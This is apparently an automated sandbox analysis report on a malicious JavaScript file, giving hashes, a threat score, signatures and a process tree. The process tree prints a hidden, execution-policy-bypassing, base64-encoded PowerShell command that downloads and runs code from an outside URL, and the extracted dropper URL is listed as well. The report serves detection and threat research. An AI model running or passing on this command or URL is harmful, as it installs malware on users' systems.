Analysis

  • max time kernel
    119s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    30-12-2023 21:45

General

  • Target

    1d758db0264b40c2c59f57b186eab40c.js

  • Size

    64KB

  • MD5

    1d758db0264b40c2c59f57b186eab40c

  • SHA1

    6c9d48baa4bef2c871cf9acfe207f1640ae7514c

  • SHA256

    cddd48c675b5dc0a293e39eaa87d647dc9f1f460192c650a66d9fc2aff9a18fb

  • SHA512

    762e6785de33c1cb2153f93b4744954adfe9c27b3dae450b453793077ebe9ca4920e24bed682c51802537cd62ae451fe8033d9469b1e12c050e459816ed1eb16

  • SSDEEP

    1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oT:59Ry98guHVBqqg2bcruzUHmLKeMMU7GN

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1d758db0264b40c2c59f57b186eab40c.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2776

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2776-5-0x000000001B260000-0x000000001B542000-memory.dmp

    Filesize

    2.9MB

  • memory/2776-6-0x0000000002400000-0x0000000002408000-memory.dmp

    Filesize

    32KB

  • memory/2776-7-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-8-0x0000000002620000-0x00000000026A0000-memory.dmp

    Filesize

    512KB

  • memory/2776-9-0x0000000002620000-0x00000000026A0000-memory.dmp

    Filesize

    512KB

  • memory/2776-10-0x0000000002620000-0x00000000026A0000-memory.dmp

    Filesize

    512KB

  • memory/2776-11-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB

  • memory/2776-12-0x0000000002620000-0x00000000026A0000-memory.dmp

    Filesize

    512KB

  • memory/2776-13-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

    Filesize

    9.6MB